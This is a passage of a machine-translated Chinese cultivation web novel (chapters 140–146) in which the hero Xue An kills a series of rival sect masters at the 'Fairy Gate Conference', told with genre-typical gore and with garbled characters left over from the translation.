    But in order to hug the thigh of the Yuan family in Jibei, she suffered a heavy loss. Yuan Zongfeng had forcibly taken away the Yuanyin she had cultivated for more than 20 years.


    This greatly damaged her strength.


    And Yuan Zongfeng said at this time: "Yuan Dai, aren''t you at fault with the people in Lingying Palace? This time I will be at the Fairy Gate Conference to kill all the people in Lingying Palace!"


    Kong Yuandai looked happy, "Thank you Yuan Shao!"


    Yuan Zongfeng laughed triumphantly, and between his gestures, a terrifying aura spread out, surprisingly...


    while Kong Yuandai''s eyes were cold and she thought silently.


    Shi Xueqing, I have paid so much to kill you, let''s see how you stand up this time!

 Chapter 141： The world gathers

    Lingnan��s summer, the sun is very violent, and it��s noon now, it��s like scorching the earth.


    In such hot weather, no one would come out unless necessary.


    And at this hour, on a small road in the Lingnan countryside, a naked monk was walking slowly with his head down.


    Although the sun is so fierce, there is not even a trace of sweat on the monk, only the undulating muscles of a dragon when he walks.


    On his back, there was a huge stone full of scriptures.


    This huge boulder is one meter square, extremely heavy, and is firmly tied to the monk''s back with an iron chain.


    This kind of stone, not to mention the back, even if you push it, you can��t move it, but the monk��s back is as light as nothing.


    After turning a corner, there is a small restaurant on the side of the road that provides food and accommodation for passing vehicles.


    It is midday and there are few vehicles on the road. The proprietress of the hotel is taking a nap against the wall.


    The monk looked up and walked in slowly.


    The lady boss was awakened and suddenly stood up and greeted, "Come on, I want to eat..."


    Then he saw the visitor clearly, and was stunned.


    "Master...what would you like to use?"


    The folk customs of Lingnan are simple, and treat the monks with respect.


    Hui Nian smiled slightly, "Anything is fine, but a large amount is required."


    The lady boss looked at the huge boulder Hui Nian was carrying with some awe, then nodded and said: "Master, wait a minute, I''ll go to the back kitchen!"


    After speaking, she turned around and walked in the back. After a while, she walked back in embarrassment.


    "Master, I''m really sorry, there are not many steamed buns and vegetables, only a slaughtered sheep that has just been delivered..."


    The lady boss dare not go on, how can a monk eat meat?


    But Hui Nian nodded, "Okay, we need lamb, let''s bring it all up!"


    The lady boss was shocked, "Then you want to eat boiled? Or grilled?"


    Hui Nian shook her head, revealing the teeth that are closely arranged like a whole, "No need, just raw!"


    The lady boss went down with a horrified face, and after a while, she brought up a whole slaughtered sheep.


    Hui Nian did not sit down, just stood there, and began to eat the raw meat piece by piece.


    He eats very slowly, he has to chew the meat to the smallest possible bite before he is willing to swallow it.


    The boss also rushed to hear the news at this time, and his wife was dumbfounded.


    After half an hour, Hui Nian ate the whole sheep.


    Then put his hands together and smiled slightly, "Thank you for the donor."


    After talking, put out the money and put it on the table, and went out to continue on the road.


    The boss seemed to think of something, copied the money on the table and drove it out.


    "Master stayed! We don''t want this money, just as a support for you!"


    Hui Nian did not turn her head, but said faintly: "I am not a Zen monk. I only kill evil, so there is no need for offerings. Please come back!"


    The boss still wanted to catch up, but in the blink of an eye, Hui Nian had already gone far.


    at dusk.


    Hui Nian finally came to Ling NS area.


    From Kuchan Temple to Lingnan, which spans the entire distance of China, Hui Nian walked out step by step.


    He looked up at this bustling city, a strange color flashed in his eyes.


    "There is a fox spirit, have the people in Lingying Palace arrived?"


    "There is also the night devil charm, and it is mixed with the Yuan family''s art of nourishing qi, it seems that the night devil valley and the Yuan family in Jibei have also arrived!"


    Hui Nian slowly closed her eyes, and began to search Lingnan with her spiritual mind.


    Kuchan Temple has a long history and was once extremely prominent. It relied on extremely strong body training and strong spiritual cultivation.


    Although she fell a lot later, Hui Nian still used the cultivation base of dispersing immortals and possessed extremely strong spiritual consciousness.


    In Hui Nian''s divine mind, ordinary people in Lingnan have become a small flame, not much bigger than candlelight.


    And in this star-like sea of ??light, there is also the fiery flame, like a torch, this is ordinary martial arts.


    There are other things like a bonfire, burning, but these numbers are much less, they should be real people or easy-going masters.


    In addition, there are some huge fires that can burn dozens of meters, in which Hui Nian feels a lot of familiar aura.


    And two of the fires exuding the cold sword intent looked a little sluggish.


    Hui Nian''s heart moved, it seems that the rumors are true that the Yu family in Lingnan has indeed been hit hard.


    Is the person who killed Yu Yuanyi in Lingnan?


    Hui Nian continued to search.


    At this moment, Xue An in front of the Rain Temple suddenly frowned.


    He felt a sense of spirit swept past.


    There is a trace of crazy Zen in this divine thought.


    Xue An''s eyes were slightly cold, and then turned to look east.


    When ���� looked across, something seemed to crack in the air with a bang.


    At the same time, Hui Nian, who was searching for Lingnan with her eyes closed, felt that a pair of eyes suddenly opened, and the eyes in these eyes were full of cold killing intent.


    And all his mental power was strangled at the same time at this moment.


    Hui Nian took a mouthful of blood, and then opened his eyes. Finally, a trace of panic flashed across his unhappy face.


    who is it?


    can actually break his mind at a glance?


    "Mr. Xue, what''s the matter?" Shi Xueqing leaned over She also faintly felt that something was wrong just now, but her cultivation level was not enough to see through.


    Xue An shook his head slightly, "It''s nothing, it''s just that a psychic mind was spying on it just now, and I killed it."


    Shi Xueqing''s heart tightened. This level of spiritual fighting is the most dangerous, but in Xue An''s mouth, it is such an understatement.


    At this time, Xue An said lightly: "There are still many powerful auras that have entered Lingnan. It seems that the world''s masters seem to be here!"


    As expected, when Xue An was speaking, another convoy slowly drove to Lingnan.


    Shu Ying''er played with the bracelet in her hand and looked at the bustling scenery outside the car window, a slight disdain flashed across her delicate face.


    Fairy Gate Conference, ha ha!


    I lost unfortunately last time, but this time, I must fight back for everything that belongs to me!


    As these powerful auras entered, the statues in the Rain Temple seemed to tremble slightly.


    And at this moment, Xue An just took Yu Ran into the hall.


    This time the Fairy Gate Conference was held at Fulong Mountain in front of the Rain Temple. I was not worried, so I prepared to come over and have a look, and Xue An followed.


    He raised his head to look at the statue of the god.


    Under his gaze, the idol seemed to be terrified.


    Xue An shook his head and chuckled, "Don''t be afraid. Since he entrusted you to me before he died, then I will definitely protect you. This time the world is gathering, you are only a new god, and it is normal to be afraid!"


    Speaking, Xue Anpian pointed as a sword, gave a soft drink, and cut it down with a sword.


    boom.


    There seems to be something on the statue.


    Xue An said lightly: "He is dead, and the sword intent to protect you has disappeared. This time I will have your sword intent again!"

 Chapter 142： Fairy Gate Conference

    Fulong Mountain is originally a scenic spot in Lingnan, where tourists are like clouds on weekdays.


    But today, there are many more security guards in front of Fulong Mountain.


    "Sorry sir, Fulong Mountain is temporarily closed today and will not be accepted!" the security guard said politely.


    The local tyrant who was stopped stared his eyes, "Do you the **** know who I am? How dare you stop me? Get out!"


    "Sorry sir, no matter who you are, Fulong Mountain today is not open to the public!"


    The local tyrant with a large gold chain around his neck couldn''t help but froze, "You **** don''t understand human words, don''t you? If you believe it or not, stop me, I will keep you in Lingnan?"


    The smile on the security guard''s face did not change, "I believe it, but today''s Fulong Mountain, idlers and others are not allowed to enter, because this is an order issued by the Yu family!"


    The arrogant local tyrant, his expression froze.


    Yu... Yu family?


    Although this local tyrant consciously has some power in Lingnan, he can''t even compare with the Yu family.


    The atmosphere became very embarrassing, and at this moment, a monk carrying a big rock slowly walked to the front of the mountain.


    All these security guards stepped away from the road, and the monk stepped onto the mountain.


    At the same time, people in various strange costumes appeared one after another, and then all went into the mountain.


    The local tyrant trembled, turned around and left.


    He knew in his heart that today''s Fulong Mountain... something big will happen!


    this moment.


    Many people have gathered on the high platform on the top of Fulong Mountain.


    In addition to the hidden world fairy gate, there are also many people from small sects.


    These small sects gathered together and were discussing quietly.


    "This year''s Fairy Gate Conference is unprecedented!"


    "Who said no, I heard that many family sects who have never come forward have also come this time."


    At this time, Hui Nian slowly walked up to the high platform with the Jingshi behind her back, and then found a corner to sit down cross-legged.


    "This great monk is so powerful!" Someone exclaimed.


    "Hush! This great monk is not an ordinary person, but the master Huinian of Kuchan Temple outside the Great Wall! I heard that he has reached Sanxian since his cultivation."


    hiss!


    Many people took a breath.


    Sanxian!


    Seeing that Hui Nian is only about 30 years old, has she actually reached the fairy tale?


    Then someone arrived one after another.


    "That''s the White Dragon Master of the White Dragon Gate! I heard that this sect has been closed for many years, so he is here too?"


    "Gosh, isn''t that the Tai Chi fairy master of Tai Chi Lou!"


    "And the Killing Son of Shura Island!"


    "It''s from the Golden Lion Tower!"


    "����."


    In the amazement of everyone, the hidden fairy gates that have not been born for a long time appeared one after another.


    Various powerful and unmatched auras made the entire Fulong Mountain tremble slightly.


    At this time, Shu Yinger also stepped onto the high platform.


    Wangyue Pavilion has a special status in the hidden world immortal gate, so when she came, many people got up and nodded to her.


    Especially the White Dragon Master at the White Dragon Gate, his eyes lit up when he saw Shu Ying''er, and he walked up and said with a smile: "Ying''er, long time no see!"


    Shu Ying''er smiled slightly, "Brother Bailong, I didn''t expect you to arrive too!"


    Bailong smiled proudly, "I was retreating last time at the Fairy Gate Conference, so I didn''t come, of course I wouldn''t miss it this time!"


    The two talked and laughed and walked aside.


    The one who climbed the high platform was Jin Chengsuo from Country H. His appearance made many people slightly discolored.


    "It''s the Demon Sword Master from Country H!"


    "Damn, this guy killed many of our Chinese experts last time, so he dare to come this time!"


    Jin Chengsuo narrowed his eyes and looked around everyone in the field of vision, but to his disappointment, he did not see the back of his dreams.


    At the same time, Kong Yuandai and Yuan Zongfeng also walked onto the high platform together.


    Many people were completely shocked this time.


    "Are the people from the Yuan family in Jibei also here?"


    "How come you got together with the people from Night Demon Valley?"


    "The situation is more complicated now!"


    Many people can''t help but look dignified, because in terms of strength, the Yuan Family in Jibei can be considered to be among the best in the hidden world.


    And the descendants of Night Demon Valley have always been known for their fierce behavior. If they form an alliance, this will add a lot of variables to the Fairy Gate Conference.


    "Everyone is almost there!" Yuan Zongfeng said proudly with his hands on his back.


    Kong Yuandai looked at the court, and then sneered slightly: "There is still one short of it!"


    "Oh? Who is the difference?"


    "Naturally, I am a good friend of Lingying Palace!" Kong Yuandai said with a look of hatred.


    Yuan Zongfeng chuckled, "I��m not here yet, I guess I dare not come!"


    As soon as the voice fell, I saw a group of people walking down the road down the mountain.


    And one of the women made Kong Yuandai''s eyes light up, and then gritted her teeth and said: "Who said she dare not come? Isn''t this...coming?"


    Yuan Zongfeng followed Kong Yuandai''s sight and couldn''t help being taken aback.


    In terms of appearance and temperament, Shi Xueqing is far better than Kong Yuandai.


    And Yuan Zongfeng can see that Xueqing''s temperament is pure at this time, and he is obviously still a virgin!


    I heard that the descendants of Lingying Palace are the same as the Night Demon Valley, if they can seize their primordial yin, it will be of great benefit to their own cultivation.


    Thinking of this, Yuan Zongfeng''s eyes flickered.


    At this time, everyone also saw the people coming.


    "It''s the girl from Lingying Palace! Huh! Why did she get together with the Yu family?"


    "Hey Haven''t you heard? This Kong Yuandai and Shi Xueqing from the Night Demon Valley have a deep grievance. This time Kong Yuandai climbed to the Yuan family, so she naturally had to find a backer! "


    Someone shook his head and said: "Then Xueqing was too unwise at this time. I heard that Yu Lang and Yu Ming were both injured, and Yu Yuanyi was also dead. The Yu family itself is hard to protect. She actually went to cling to it? Really looking for death!"


    "Hehe, there is a lot of fun this time, and these other families are also brave. At this time, I should keep a low profile and dare to participate in the Fairy Gate Conference?" Someone sneered.


    "Hey, look at that person, why did he bring the child?"


    Everyone looked around. Sure enough, a man was holding two little girls like pink jade and also walked onto the high platform.


    "Does this person treat the Fairy Gate Conference as a tourist?" Someone laughed.


    Many people also shook their heads secretly, because in their opinion, the man holding the child had a mediocre aura, obviously an ordinary person.


    At this time, Xue Xiang and Xue Nian whispered in Xue An��s ear: "Dad, these people are so strange!"


    Xue An smiled, "Don''t go to see them if you are weird. After a while, Dad will clean them up, and I will take you to eat good food!"


    "Hmm!" The two daughters nodded one after another.


    But his words also attracted a lot of people''s attention.


    are all cleaned up?


    This man...what a big tone!


    Kong Yuandai couldn''t hold back at this time, she walked over with her willow waist lightly, and smiled sarcastically: "Yo, sister Shi, it''s been a long time since I saw you, why did you change her outfit? Could it be that Lingying Palace has fallen to this level? Already? Can''t even wear good clothes? Tsk tsk!"

 Chapter 143： 1 dead and 1 injured

    Shi Xueqing''s eyes seemed to be spitting fire, and gritted his teeth and said: "Kong Yuandai, you don''t talk coldly while talking, this time the Fairy Gate Conference, either you die or I die!"


    Kong Yuandai''s expression grew colder, "This is exactly what I want to say, but Shi Xueqing, you seem to have not figured it out yet. I am now a member of Yuan Shao, but you can only cling to the Yu family, which is hard to protect yourself. What are you fighting with me?"


    Shi Xueqing was taken aback for a moment, then looked at Yuan Zongfeng in the distance, the expression on his face gradually became serious.


    Jibei Yuanjia!


    That is a resounding existence in the hidden world fairy gate.


    is even longer and deeper than the Yu family.


    Especially this Yuan Zongfeng, but the third-ranked existence on the jade list!


    Mr. Xue...Can the Yuan family win?


    Shi Xueqing''s heart suddenly felt a little unsure, and she took a peek at Xue An.


    And Kong Yuandai also noticed this scene and moved in her heart.


    Could it be...... Isn''t the Yu family that Xueqing is relying on at this time? But this man?


    But this man doesn��t look surprising at all!


    At this moment, the descendant of the Golden Lion Tower walked out and said to Hui Nian who was sitting cross-legged in the corner: "Hui Nian bald donkey, don''t get out and die!"


    Hui Nian slowly opened her eyes.


    The descendant of the Golden Lion Tower is called Jin Yulou, who is a half-step Sanxian.


    At this moment, Jin Yulou was full of anger, because at the last Fairy Gate conference, his brother was blasted into powder by Hui Nian with a punch, leaving no bones.


    Hui Nian nodded, "It turned out to be the young master of the Golden Lion Tower, do you want to do it with me?"


    "Nonsense, the bald donkey can''t come to die!" Jin Yulou said with murderous expression.


    Hui Nian stopped talking nonsense, got up and walked to Taichung.


    Everyone''s thoughts have begun!


    Jin Yulou looked at Hui Nian, who was carrying a huge stone, and sneered: "Hui Nian, you put the huge stone down now, and others in the province say I bully you!"


    Hui Nian shook her head, "No need, deal with you...not so much!"


    Jin Yulou''s face turned blue by these words, "Good bald donkey, die!"


    said Jin Yulou kicked out.


    Golden Lion Tower is the only one in the world with its legs.


    This kick is even faster than the sound of the wind.


    Ke Hui Nian didn''t avoid it, and directly took the foot of Jin Yulou.


    There was a trace of pride on Jin Yulou''s face, thinking that Hui Nian would be disabled if he died.


    Unexpectedly, after this kick, Jin Yulou felt like he had kicked it on a steel plate, and the ankle was broken because of the shock.


    Just when Jin Yulou was in pain and stunned, Hui Nian lowered her eyes, "Offended!"


    After talking, he punched out.


    Boom!


    Jin Yulou couldn''t dodge, and was directly blasted out by this punch. When he fell to the ground, he was already dead.


    Many people gasped at the sight.


    Especially many immortal disciples, all of them have their pupils shrinking slightly.


    "This monk is so powerful, he has actually been repaired into a golden Arhat body!" Master Bai Long was secretly wary at the moment.


    Hui Nian killed Jin Yulou with a punch, then bowed his head back to the corner and sat cross-legged again.


    And at this moment, the Tai Chi Immortal Master of Tai Chi Building stepped onto the stage and smiled sadly at the Yu family.


    "Yu Ming, let me learn your sword intent!"


    Everyone looked at Yu Ming.


    Many people want to see what choice Yu Ming makes.


    After all, everyone can see that Yu Ming is now injured.


    Yu Ming didn''t even hesitate, walked directly to the stage, looked at the treacherous Tai Chi fairy master, slowly said: "The last time you were defeated by my sword, this time is the same!"


    Tai Chi fairy master was disdainful.


    My mouth is so hard after being injured.


    "It''s useless to say more, let''s see the truth under the fist!" After talking, the Tai Chi fairy master waved his hands.


    A Tai Chi pattern faintly appeared in the air.


    And Yu Ming slowly pulled out his saber, looking at the opposite side solemnly.


    "Tai Chi Chaos!" The Tai Chi fairy gave a soft sigh and pushed with both hands.


    A mixture of black and white, rushed towards Yu Ming.


    Yu Ming didn''t evade, he swung a sword.


    Sword Qi is vertical and horizontal, and the Tai Chi picture composed of black and white two Qi is crushed into pieces.


    But this is just the beginning. Tai Chi is originally used to overcome strength with softness, so the faster Yu Ming''s sword, the faster the Tai Chi diagram appears.


    After a while, Yu Ming''s complexion turned pale.


    Tai Chi Immortal Master sneered in his heart, knowing that Yu Ming''s sword power is declining, he would surely be able to cut it under his feet with more effort.


    Therefore, he yelled abruptly, plucking up the strength of his whole body, and the Tai Chi diagram suddenly expanded more than doubled.


    Seeing it is about to swallow Yu Ming.


    Just then, a faint voice sounded in Yu Ming''s ear, "The tip of the sword is drooping two inches and three minutes, 21 degrees to the right."


    Yu Ming was startled, it was Xue An��s voice.


    Then he subconsciously adjusted the sword force according to Xue An''s words.


    ��!


    It was as if he had delivered it to the door. Although the Tai Chi Chaos of the Tai Chi Immortal Master could kill Yu Ming, he had to be pierced by a sword.


    So the Tai Chi fairy master had to withdraw his move unwillingly at the last moment and prepare to attack again.


    And at this time Xue An''s voice sounded again, "Go forward half a step, sword blade to the left, slash down!"


    Yu Ming didn''t hesitate to step forward, the blade turned to the left, and fell down.


    ��!


    Tai Chi fairy master screamed, and then hurried out. UU Reading


    Look again, one of his arms has been chopped off by Yu Ming''s sword.


    While Xue An sighed secretly, Yu Ming''s movements were still a little slow.


    If you do exactly what you want, the head of the Tai Chi fairy master has now moved.


    But this sword was enough to shock everyone present.


    No one thought that Yu Ming, who had fallen into a disadvantage, could turn defeat into victory!


    Only a few people including Hui Nian, frowned slightly, and then looked at Xue An intentionally or unintentionally.


    Tai Chi Immortal Master''s face was pale at this time, but if you lose, you lose, so he has to hand over unwillingly, "It is the sword of the Yu family! Goodbye!"


    After that, all the people in the Tai Chi Tower left.


    And this move has also made many people eager to try, and all the people who want to start with the Yu family have lost their minds.


    Yu Ming looked at Xue An gratefully. At this point, the proud young man was completely convinced.


    As soon as the Fairy Gate Conference opened, one death and one injury occurred, and its tragic degree was more severe than any previous one.


    Many people look pale.


    And at this moment, the Killing Master of Shura Island slowly walked to the front of the stage, looking at Shi Xueqing, his eyes were bright and colorful.


    Then he unfolded the paper fan and said with a chuckle: "I have long heard of the Wushuang Wushuang walking in the Lingying Palace of the Fanjing Mountain. I don''t know if I am lucky enough to see it today."


    Shi Xueqing''s complexion sank.


    Asura Island is not a good stubble, but a sect that hangs alone overseas, and most of the people in the door are cruel and bloodthirsty.


    But the other party has already called the number, if you don''t go, the reputation of Lingying Palace will be completely ruined.


    Shi Xueqing gritted his teeth and prepared to take the stage.


    But at this moment, Xue An patted her on the shoulder lightly, "Get out!"

 Chapter 144： Kill you...you dont have to use tricks!

    Shi Xueqing was stunned.


    Everyone was also stunned.


    What is this man doing?


    Is he going to be on stage too?


    Xue An looked down at the two daughters who had been obscured by his secret skills, and smiled faintly.


    "Dad went to beat the bad guys, I''ll be back soon!"


    "Yeah! Dad, come back soon! It''s so boring to stay!" The two daughters said very well-behaved.


    Xue An nodded, then walked slowly onto the stage.


    Killing son''s complexion darkened.


    He wanted to start with Shi Xueqing, and then use force to subdue him, and finally bring it back to Shura Island for his own enjoyment.


    I didn''t expect someone to stop me in the middle.


    And he is still a man of ordinary style.


    "Boy, what I want to fight against is from the Lingying Palace, what are you? Going down now, this son will assume that nothing has happened, otherwise, I will take your life!" Killing son is full of disdain Said.


    Xue An gently shook his fingers and made a chucking sound, then tilted his head vigorously, and said lightly: "Did you finish?"


    Killed the son for a moment, and then furiously said: "Very well, you successfully angered me, and I will torture you a little bit later!"


    Xue An smiled, "I am sorry for irritating you, but unfortunately...you have no chance!"


    After all, Xue An lifted the seal on his own strength.


    A powerful and trembling momentum rose to the sky.


    Everyone changed their colors.


    Master Bailong, Yuan Zongfeng and others couldn''t help but their faces became serious.


    Killing the son was also shocked. Just about to speak, Xue An raised his hand and punched out.


    No name, no fancy, just a normal punch.


    Then the murderer was like being tapped on an acupuncture point, and he froze.


    After three blinks, there was a gurgling sound in the throat of Killing Master, and he looked at Xue An with despair and fear.


    Many people are wondering what is going on.


    Killing son''s chest collapsed suddenly, and then he began to vomit blood.


    "This...what''s the trick?" The Killer said intermittently.


    Xue An shook his head, "There is no trick, kill you...you don''t have to use tricks!"


    A look of grief and despair appeared on the face of ���� Killing Young Master, and then he threw himself to the ground and died in desperation.


    The whole audience was quiet.


    Many people looked at Xue An with suspicion.


    Shi Xueqing''s eyes were colorful, and the demonstration generally looked at Kong Yuandai on the opposite side.


    Kong Yuandai looked ugly at the moment.


    She thought Xue An was just an ordinary person, but she didn''t expect to be so powerful!


    But just when these people were uncertain, Xue An looked around the audience with indifferent eyes, and then shook his head.


    "It''s too slow to come one by one, and I have to watch cartoons with my daughter, so... you guys go together!"


    This sentence is like a shock, making everyone think that they have heard it wrong.


    Then the Master Bailong laughed out first.


    "After killing a young master of Shura Island, he really thought he was invincible? I really don''t know that the sky is high and the earth is thick! I..."


    The words behind Master Bailong didn''t finish, because Xue Ansen smiled.


    "Well, if you are not convinced, then take my punch first!"


    After saying that, Xue An raised his hand, and then blasted out another punch.


    Venerable Bailong deliberately wanted to show off in front of Shu Ying''er, so he said proudly: "Okay! Let you see how powerful my Bailongmen is!"


    Shu Ying''er looked at Master Bai Long''s arrogant figure, and she couldn''t help being moved.


    But in the next second, this scene turned into a nightmare.


    Because Xue An��s punch was like a heavy hammer, it hit his head before Master Bai Long hadn��t reacted.


    Peng!


    There was still a trace of arrogance on the handsome face of Master Bailong, and then he was directly hit by Xue An''s punch into the blood mist.


    The dead body fell to the ground.


    The seats are full of shock.


    The White Dragon Master is not like killing the son, but a half-step peak existence.


    Unexpectedly, Xue An''s head was broken by a punch!


    When people are commotion.


    Hui Nian''s eyes were full of glory, and she got up and took three steps!


    With every step, the golden light on his body is more vigorous.


    After three steps, Hui Nian was full of golden light, like a **** and Buddha!


    Someone exclaimed, "The immortal golden body, this is the immortal golden body of Kuchan Temple!"


    The indestructible golden body is known as the strongest body in Buddhism, second only to the golden body of the Bodhisattva and the Tathagata!


    is a very domineering body protection technique!


    And Hui Nian raised her eyebrows, her face full of anger.


    "King Kong is angry!"


    is another magical power of Dharma!


    But Xue An just smiled faintly when facing this powerful Hui Nian, "Good job!"


    After saying that, Xue An raised his hand, "You also take my punch, and see if it is my fist, or your indestructible golden body!"


    Boom!


    The entire Fulong Mountain seems to be shaking.


    Hui Nian took seven or eight steps backwards, golden light shone on her body, and a trace of pain appeared on her face.


    Xue An laughed loudly, "Okay! He actually took a punch from me, let''s watch this trick!"


    "Move the world!"


    This is Xue An''s real killer move!


    As soon as this fist struck the world, Hui Nian''s face was solemn, her eyes dropped, her hands folded.


    "Bodhisattva lowers his eyebrows!"


    This Hui Nian seems to have cultivated all the great supernatural powers of Buddhism. As soon as the Bodhisattva lowered his eyebrows, he seemed to have disappeared from the world.


    Although others are still standing there!


    But the breath has disappeared!


    This feeling makes people feel uncomfortable!


    But the corners of Xue An''s mouth rose slightly, "Very good, but not enough!"


    As expected!


    This punch once again hit Hui Nian''s body firmly.


    Hui Nian was like a ball, was blown out by a punch, until he landed, he heard a click.


    It turned out that the iron chain tied to Hui Nian''s body was broken!


    The stone falls to the ground.


    Hui Nian spit out blood again at this time, and then nodded towards Xue An, "Mr. Xue is really capable of cultivation! The little monk admires it!"


    Xue An stood with his hand on his back and looked at Hui Nian, "You can repair the wounds of divine consciousness in one day. It seems that your Buddhist supernatural powers are not entirely undesirable!"


    Hui Nian''s eyes are clear, of course he has noticed that the person who destroyed his mind last night is Xue An!


    And only then, many people began to whisper.


    "God, this man is actually the Mr. Xue who killed Yu Yuanyi?"


    "Can''t go wrong! How else could it be so powerful?"


    "But he is too big! Challenge everyone?"


    "Hush, watch it!"


    And Xue An looked down at the sutra stone and smiled faintly, "Do you rely on the sutra stone to suppress the magical thoughts in your heart?"


    These words finally changed Hui Nian''s expression.


    Xue An went on to say: "Unfortunately, the more suppressed the heart demon, the stronger it will be. I guess...you should be enchanted now!"


    As expected!


    Hui Nian''s eyes turned blood red in an instant.


    ''S aura has not only increased tenfold!


    "Jie Jie Jie Jie." After a bit of weird laughter, a cold voice came, "You have good eyesight, but you still have to die!"

 Chapter 145： You actually said she is trash?

    Hui Nian''s voice has changed!


    Everyone is even more discolored.


    But Xue An chuckled lightly, "An extraterritorial demon, dare to speak wild words?"


    These words made the already enchanted Hui Nian stare for a moment, and then said somewhat suspiciously: "Who...who are you? How could you know the alien demon?"


    Xue An showed two good-looking tiger teeth and smiled sensibly, "Is it strange? Because... I knew it!"


    After that, Xue An raised a fist and said lightly: "Second punch, divide yin and yang!"


    This punch was like a vast ocean, directly surrounding Hui Nian.


    Hui Nian seemed to be silly at the moment, muttering to herself, "Dividing Yin and Yang..."


    Suddenly, he trembled all over, and then looked at Xue An with extreme horror, "This is the Six Types of Killing God, you are..."


    I never had a chance to say the following words. Because Xue An''s punch blasted Hui Nian''s whole body into a fan.


    The extraterritorial celestial demon possessing Hui Nian''s body was also dissipated by the bombardment, but before his death, this always arrogant extraterritorial celestial demon did not even dare to resist, just full of fear and regret!


    Because he knows that this man is an existence that he, even the demon gods outside the territory can''t provoke.


    Hui Nian body falls.


    Xue An retracted his fist and looked around everyone present.


    "Now, who else is not convinced? Let''s get on together! I''m in a hurry!"


    The audience fell into a dead silence.


    Many people were shocked by Xue An''s momentum.


    After all, Xue An killed three people in a row when he came on stage!


    This kind of momentum is really amazing!


    At this moment, someone applauded and laughed: "Okay! What a great trick!"


    Following the voice, Yuan Zongfeng slowly walked onto the high platform.


    Jibei Yuan Family, is it finally going to be shot?


    Not just him, and then many sect disciples followed up to the high platform silently, and they all stood behind Yuan Zongfeng.


    Shi Xueqing''s face turned white, and her heart was very anxious.


    She thinks Xue An is too big, no matter how powerful it is, it can''t be the opponent of so many people!


    and Yu Ming held the sword in his hand, making the final preparations.


    If Xue An loses, then he must rush forward!


    At this time, Yuan Zongfeng looked at Xue An, and slowly said: "I didn''t expect that the man who killed Lingnan Sword Immortal was such a young man! And his cultivation is really heartbreaking!"


    Xue An stood with his hand in his hand, with an expression of sadness or joy, "Are you finished?"


    Yuan Zongfeng''s expression was stagnant, he didn''t want to be on stage.


    He is a very life-saving person. He just noticed it in the audience. This Xue An was very aggressive, and his men were either dead or injured.


    Why should I touch him?


    It''s better to bring everyone on stage together, and then say something about it, if you can draw this person over.


    That is the perfect one.


    But Xue An didn''t give him any face.


    Yuan Zongfeng gritted his teeth secretly, "Mr. Xue, if you kill three people in a row, you should have exhausted your energy. Why don''t we come back another day?"


    Xue An shook his head, "The blood on his hands is not dry, it is a good time, don''t say much, I..."


    Before Xue An could finish speaking, Shu Ying''er had already walked in front of Yuan Zongfeng, with a trace of admiration for the strong on her face.


    "Mr. Xue, we have no grievances, so why bother to fight like this?"


    Xue An looked cold, didn''t want to talk, but suddenly.


    He noticed the bracelet Shu Yinger was wearing.


    Then he was stunned.


    There was a long silence.


    It was so long that Shu Yinger, Yuan Zongfeng and others looked at each other, not knowing what was going on.


    At this time, Xue Ancai said a little tremblingly: "Where did you...this bracelet come from?"


    Shu Ying''er was taken aback, raised her arm and said: "Does Mr. Xue mean this? This is a waste of our Wangyue Pavilion..."


    She didn''t say anything after that.


    Because Xue An exudes a terrifying murderous aura.


    The murderous aura was so strong that it even broke the roots of the vegetation within a radius of ten miles, and caused the Fulong Mountain underneath to rattle.


    This kind of murderous aura also made Yuan Zongfeng and the others change their colors.


    And Xue An rose slowly at this time. After standing in the air, his voice was like a devil from hell, and said gloomily: "Trash...hehe, do you actually call her trash?"


    While talking, Xue An actually cried.


    His tears dropped, moving the whole world.


    Many people are frightened, wondering what Xue An is going to do.


    And Yuan Zongfeng and Kong Yuandai glanced at each other, and both saw the terror in each other''s eyes.


    Yuan Zongfeng gritted his teeth at this time, "He is crazy, take advantage of this, let''s do it together!"


    After all, he was the first to rush up.


    Many sectarian disciples behind ���� also followed closely behind.


    Then a spectacle appeared in front of everyone.


    Xue An stood in the air, and hundreds of sect children rushed towards him.


    Under the **** setting sun, he looked so tragic and cruel.


    Shi Xueqing felt that her heart had stopped, and her lips were bitten and bleeding.


    She stamped her foot suddenly and was about to rush forward.


    She wanted to understand that even if she died, she couldn''t just stand by and watch Xue An be besieged!


    But at this moment, Yu Ming suddenly took her arm, shook his head, and said in horror, "Don''t move!"


    Shi Xueqing didn''t know what was going on, and just wanted to ask a question, then she felt like it was raining in the sky.


    And when she touched it with her hand, she realized that it was actually blood.


    She looked up.


    I saw the people who rushed into the air and tried to kill Xue An. At this moment, they were like a flock of birds being shot by a machine gun. They were falling down The blood was like fireworks, on a corpse. A corpse burst open.


    Such bizarre and cruelly beautiful pictures made Shi Xueqing stunned.


    At this time, Yuan Zongfeng finally made a move.


    He had just been hiding behind the crowd, ready to use the lives of these people to consume Xue An''s strength. Now he felt that the time was right, and he walked around Xue An''s back, summoned his full power, and raised his palm.


    Abruptly, Yuan Zongfeng shot out with a palm.


    This strong palm went straight to Xue An''s back with a fierce energy.


    A touch of triumph flashed in Yuan Zongfeng''s eyes.


    As long as you kill Xue An, then this Fairy Gate Conference will be the undisputed number one!


    But in the next second, his smile and pride were frozen.


    Because Xue An has turned his head and looked at him quietly.


    At this moment of looking at each other, Yuan Zongfeng suddenly felt extremely flustered.


    The strong sense of crisis made him turn around and want to run.


    But Xue An waved his hand gently like a fly.


    ��.


    Yuan Zongfeng''s head soared into the sky.


    The soul of life came out of the neck cavity, not even daring to turn his head back, and ran to the north.


    Xue An did not blink his eyelids, and flicked his fingers.


    Snapped!


    Yuan Zongfeng��s soul was shattered and disappeared!


    Ten finger time.


    These sect disciples who just rushed into the air were all dead.


    Blood and corpses covered the entire high platform.


    Only Xue An, who was like a **** and demon, remained in the air, and Shu Ying''er, who was holding in his hand, was completely frightened.


    Xue An lowered his head at this time, looked at Shu Yinger, and asked faintly: "Now, tell me! Where is your sect!"

 Chapter 146： I make red lotus with my blood

    Shu Ying''er was trembling all over, she never thought that this man would be so tough.


    More than one hundred hidden descendants of the immortal door joined forces to attack, but they were unable to win him!


    Especially Yuan Zongfeng''s death made her shocked.


    "Xue...Mr. Xue..." Shu Yinger''s voice trembled, and she wanted to say something.


    Xue An already stretched out his hand impatiently, and directly pressed it on her Tianling cover.


    The powerful and unparalleled spirit of God was like a ruin, and immediately began to forcefully search Shu Yinger''s memory.


    After a while, Xue An''s killing intent became more and more turbulent, and it was almost about to take shape.


    "Okay, very good! You actually let her sweep the floor? You bullied her for two whole years? Ha ha!" Xue An''s tone was as cold as ten thousand years of ice.


